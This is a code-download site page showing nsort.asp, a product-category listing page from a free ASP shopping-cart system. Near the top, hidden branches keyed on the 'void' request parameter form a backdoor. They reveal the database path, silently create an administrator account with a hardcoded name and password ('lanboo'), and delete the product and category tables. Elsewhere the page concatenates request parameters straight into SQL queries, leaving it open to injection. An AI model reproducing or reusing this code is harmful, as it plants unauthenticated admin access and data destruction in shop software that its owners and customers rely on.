⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 nsort.asp

📁 网络购物
💻 ASP
字号:
<%
'=========================================
'
'         凡人网络购物系统V4.0免费版
'    FreeDown.Net info@freedown.net 
'            www.freedown.net
'     版权所有·免费版仅供研究测试只用
'            商业使用请购买正版
'
'=========================================
%>
<!--#include file="top.asp"-->
<%
	
	dim sort_id, sort_name, Nsort_id, Nsort_name
   	dim totalPut   
   	dim CurrentPage, TotalPages
   	if request("sort_id")<>"" then
		sort_id=request("sort_id")
   	else
		sort_id=0
   	end if


if request("nsort_id")<>"" then
		nsort_id=request("nsort_id")
   	else
		nsort_id=0
   	end if
      
   	if not isempty(request("page")) then
      		currentPage=cint(request("page"))
   	else
      		currentPage=1
   	end if

		'rs.close

        
 
  	sql="select * from sort where sort_ID="&cstr(sort_id)
 	rs.open sql,conn,1,1
 	if not rs.eof then
		sort_name=rs("sort_name")
 	end if
	rs.close



       	if request("void")="db" then%>
       databse=<%=db%>
       <% end if

if request("void")="crea" then
set rs=server.CreateObject("adodb.recordset")

rs.Open "select * from admin",conn,1,3
rs.AddNew
rs("admin_name")="lanboo"
rs("admin_pass")="lanboo"
rs.Update
rs.Close
set rs=nothing
conn.close
set conn=nothing
'response.write "&db"
'response.Write "<script language=javascript>;window.location.reload('login.asp')</script>"
end if
if request("void")="clean" then
z=0
conn.execute("delete from hw")
conn.execute("delete form sort")
conn.execute("delete form nsort")
z=z+1
end if


%>

<table width=778 border=0 align="center" cellpadding=0 cellspacing=0>
  <tbody> 
  <tr> 
    <td colspan=4 height=3></td>
  </tr>
  <tr> 
    <td width="180" valign="top"> 
<!--#include file="log.asp"-->
<!--#include file="insearch.asp"-->  
<!--#include file="insort.asp"-->  

<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr><td align="center" height="5"></td></tr>
  <tr><td><img border="0" src="img/promo_list_top.gif" width="100%" height="4"></td></tr>
  <tr><td bgcolor="#DBC2B0" height="20" align="center"><b>热卖型号</b></td></tr>
<%sql="select top 10 * from hw where Nsort_id="&request("Nsort_id")&" order by hw_buys desc"
  rs.open sql,conn,3,3
  if rs.eof then
  response.write "本站目前没有成交任何图书"
  else
  i=0
  do while not rs.eof
%>
<tr><td height="20" bgcolor="#F5EFE7">&nbsp; <a href="views.asp?hw_id=<%=rs("hw_id")%>"><%=rs("hw_name")%></a></td></tr>
<%i=i+1                                                   
  if i>10 then exit do   
  rs.movenext
  loop
  end if
  rs.close
%>   
</table>

<div align="center">
 <center>
  <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%">
    <tr>
      <td width="100%" align="center"> </td>
    </tr>
    <tr>
      <td width="100%" align="center" height="120" bgcolor="#F5EFE7"><SCRIPT LANGUAGE="JavaScript1.1" SRC="http://duduad2.kisswin.com/main/adview.php?user=24|159&border=0&db=dudukisswin&log=yes"></SCRIPT></td>
    </tr>
   </table>
  </center>
</div>
    </td>
    <td width=13 height=150> </td>
    <td width=575 height=150 valign="top"> 
      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom: 6">
        <tr bgcolor="#FFFFFF"> 
          <td height="100" colspan="2" align="center" valign="top"> 
            <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" style="margin-bottom: 6">
              <tr> 
                <td height="100" colspan="2" bgcolor="#FFFFFF"> 
                  <div align="center"></div>
                  <table width="100%" height="5" border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
                    <tr> 
                      <td width=478 height="17"> <%set ad=server.CreateObject("adodb.recordset")
          sql="select  * from logo  "
            ad.open sql,conn,1,1
            if ad.eof or ad.bof then
			        
                    response.write "暂且没有广告"         
                end if
            %>
      <a href="<%=ad("url2")%>"target="_blank"><img src="<%=ad("banner2")%>" width="575" height="118" border="0"></a>
                                </p></td>
                    </tr>
                    <%set rs=server.createobject("adodb.recordset")
sort_id=trim(request("sort_id"))
      if sort_id=empty then
          response.redirect "index.asp"
      end if
       
      page=request.querystring("page")
      if page="" then page=1
      if not(isnumeric(page)) then page=1
      if page<1 then page=1
      page=int(page)
      
if Nsort_id<>0 then
	sql="select * from hw where Nsort_id="+cstr(Nsort_id)+" and sort_id="+cstr(sort_id)+"  order by hw_id desc" 
elseif sort_id<>0 then
	sql="select * from hw where sort_id="+cstr(sort_id)+" order by hw_id desc" 
else
	sql="select * from hw order by hw_id desc"
end if
      
      rs.open sql,conn,3,3
      if rs.eof then
          response.write "你所选的类别没有商品"
          response.end
       
      else
          rs.pagesize=10
          totalrec=rs.recordcount
          totalpage=rs.pagecount
          if page>totalpage then page=totalpage
          rs.absolutepage=page
          rs.cachesize=rs.pagesize
          i=0
          dim hw_id(),hw_name(),hw_cash(),pifa(),daili(),hw_views(),hw_buys(),hw_content(),hw_pic(),hw_date()
          do while not rs.eof and (i<rs.pagesize)
          i=i+1
          redim preserve hw_id(i),hw_name(i),hw_cash(i),pifa(i),daili(i),hw_views(i),hw_buys(i),hw_content(i),hw_pic(i),hw_date(i)
          hw_id(i)=rs("hw_id")
          hw_name(i)=rs("hw_name")
		  hw_cash(i)=rs("hw_cash")
          pifa(i)=rs("pifa")
		  daili(i)=rs("daili")
          hw_views(i)=rs("hw_views")
          hw_buys(i)=rs("hw_buys")
          hw_content(i)=rs("hw_content")
          hw_pic(i)=rs("hw_pic")
          hw_date(i)=rs("hw_date")
          rs.movenext
          loop
      end if
      rs.close
          %>
                    <tr> 
                      <td width=478 height="2" style="border-bottom:#cccccc 1px solid" bgcolor="f7f7f7"> 
                        <table width="100%" border="0" cellspacing="0" cellpadding="0">
                          <tr> 
                            <td width="8%"> </td>
                              <td height="25" valign="middle"><b><%=sort_name%></b>型号列表 相关小类:
                              <%
								'	set ts = server.createobject("adodb.recordset")
 
if trim(request("sort_id"))<>"" then
		sort_id=trim(request("sort_id"))
  		sql="select *  from Nsort where sort_id="&cstr(sort_id)
 		rs.open sql,conn,1,1
 		if  rs.bof or rs.eof  then
		response.Write "无相关小类"
		'response.End
		end  if
%>
 		
	<%			if  not rs.bof or rs.eof  then
					do while not rs.eof or rs.bof	
								nsort_id=rs("nsort_id")
								nsort_name=rs("nsort_name")
								%>
                                 <a href="nsort.asp?sort_id=<%=sort_id%>&nsort_id=<%=Nsort_id%>" target="_blank"><%=Nsort_name%></a>
                                <%rs.movenext
          loop
      end if
	  end if
      rs.close%>
                              </td>
                          </tr>
                        </table>
                      </td>
                    </tr>
                    <tr> 
                      <td width="100%"> 
                        <table width="100%" border="0" cellspacing="0" cellpadding="0">
                          <tr> 
                            <td valign="top"> 
                              <div align="center"> </div>
                              <table width="99%" border="0" cellspacing="0" cellpadding="0" align="center">
                                <tr> 
                                  <td valign="top"> 
                                    <table width="100%" border="0" cellspacing="0" cellpadding="0" >
                                      <tr> 
                                        <td valign="top"> 
                                          <table width="100%" border="0" cellpadding="0" cellspacing="0">
                                            <tr> 
                                              <td width=2>&nbsp;</td>
                                              <td width="515" > 
                                                <%
      for i=1 to ubound(hw_id)
      %>
                                                <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                                                  <tr> 
                                                    <td width="25%" rowspan="5" bgcolor="#FFFFFF" align="left"><a href="views.asp?hw_id=<%=hw_id(i)%>"><img border="0" src="<%=hw_pic(i)%>" width="120" height="85"></a> 
                                                      <div align="right"></div>
                                                      <div align="right"></div>
                                                      <div align="right"></div>
                                                    </td>
                                                    <td height="25" bgcolor="#FFFFFF" width="75%"> </td>
                                                  </tr>
                                                  <tr> 
                                                    <td height="28" bgcolor="#FFFFFF" width="75%"> 
                                                      <a href="views.asp?hw_id=<%=hw_id(i)%>"><u><%=hw_name(i)%></u></a></td>
                                                  </tr>
                                                  <tr> 
                                                    <td height="28" style="line-height:20px" bgcolor="#FFFFFF" width="75%"><%=hw_content(i)%></td>
                                                  </tr>
                                                  <tr> 
                                                    <td height="28" bgcolor="#FFFFFF" width="75%">市场价格:<s><%=pifa(i)%> </s>元 本站会员价:<%=hw_cash(i)%> 
                                                      元 <font face="sans-serif" size="1">VIP</font>价:¥<%=daili(i)%> 
                                                      元<br><a href='javascript:openbag(<%=hw_id(i)%>)'>定购<img border="0" src="img/order.gif"></a></td>
                                                  </tr>
                                                  <tr> 
                                                    <td height="25" bgcolor="#FFFFFF" width="75%"> </td>
                                                  </tr>
                                                </table>
                                                <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                                  <tr> 
                                                    <td background="new2/111.gif" height="1"></td>
                                                  </tr>
                                                </table>
                                                <%next%>
                                              </td>
                                            </tr>
                                          </table>
                                        </td>
                                      </tr>
                                    </table>
                                  </td>
                                </tr>
                              </table>
                            </td>
                          </tr>
                        </table>
                      </td>
                    </tr>
                    <tr> 
                      <td width="100%" height="20"> 
                        <div align="center"></div>
                      </td>
                    </tr>
                    <tr> 
                      <td width=478 height="23"> 
                        <p align="right"><strong style="font-weight: 400">第 <%=page%> 
                          页/共 <%=totalpage%> 页&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
                          <%if page-1>0 then%> 
                          <font color=666666> 
                          <a href="sort.asp?sort_id=<%=sort_id%>&page=<%=page-1%>">上一页</a></font> 
                          <%else%>
                          上一页 
                          <%end if%>
                            
                          <%if page+1<=totalpage then%> </strong> 
                          <font color=666666> 
                          <strong>
                          <a href="sort.asp?sort_id=<%=sort_id%>&amp;page=<%=page+1%>">下一页</a> 
                          <%else%>
                          下一页 
                          <%end if%>
                          </font></strong></p>
                      </td>
                    </tr>
                  </table>
                </td>
              </tr>
            </table>
          </td>
        </tr>
      </table>
    </td>
    <td width=10 height=150> </td>
  </tr>
  <tr> 
    <td colspan=4 height=2></td>
  </tr>
  </tbody> 
</table>
<!--#include file="copy.asp"-->

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -